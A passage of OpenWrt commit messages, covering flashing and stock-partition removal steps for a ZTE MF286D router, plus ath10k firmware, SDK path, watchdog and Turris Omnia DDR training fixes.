setenv serverip 192.168.1.3
setenv ipaddr 192.168.1.72
set fdt_high 0x85000000
tftp openwrt-ipq40xx-generic-zte_mf286d-initramfs-fit-zImage.itb
bootm $loadaddr
5. Please make backup of original partitions, if you think about revert
to stock.
6. Login via ssh or serial and remove stock partitions:
ubiattach -m 9
ubirmvol /dev/ubi0 -N ubi_rootfs
ubirmvol /dev/ubi0 -N ubi_rootfs_data
7. Install image via "sysupgrade -n".
Signed-off-by: Pawel Dembicki <paweldembicki@gmail.com>
(cosmetic changes to the commit message)
Signed-off-by: Christian Lamparter <chunkeey@gmail.com>
Kalle Valo ath10k-firmware repository no longer provides the
legacy board.bin files for the qca99x0 chips. Instead he
copied over the codeaurora version and add more board files.
In the future, this board-2.bin should find its way to
linux-firmware.git, which would allow us to remove the
extra download code completely.
Signed-off-by: Christian Lamparter <chunkeey@gmail.com>
this should have been removed together with linux 5.4 APM821XX
support. Currently, this didn't hurt or broke something. But it
will in the next stable kernel release.
Signed-off-by: Christian Lamparter <chunkeey@gmail.com>
The SDK does not ship the generic platform files. Use relative path for
GENERIC_PLATFORM_DIR to make it work. This points it at the files from
the feed directory instead of the base SDK path
Signed-off-by: Felix Fietkau <nbd@nbd.name>
All devices which used this package migrated to the kernel GPIO-line
watchdog driver and configure it over their DT.
Signed-off-by: Sven Eckelmann <sven@narfation.org>
This solves issue with DDR training on Turris Omnia.
Log:
******** DRAM initialization Failed (res 0x1) ********
DDR3 Training Sequence - FAILED
ERROR ### Please RESET the board ###
Signed-off-by: Josef Schlehofer <pepe.schlehofer@gmail.com>
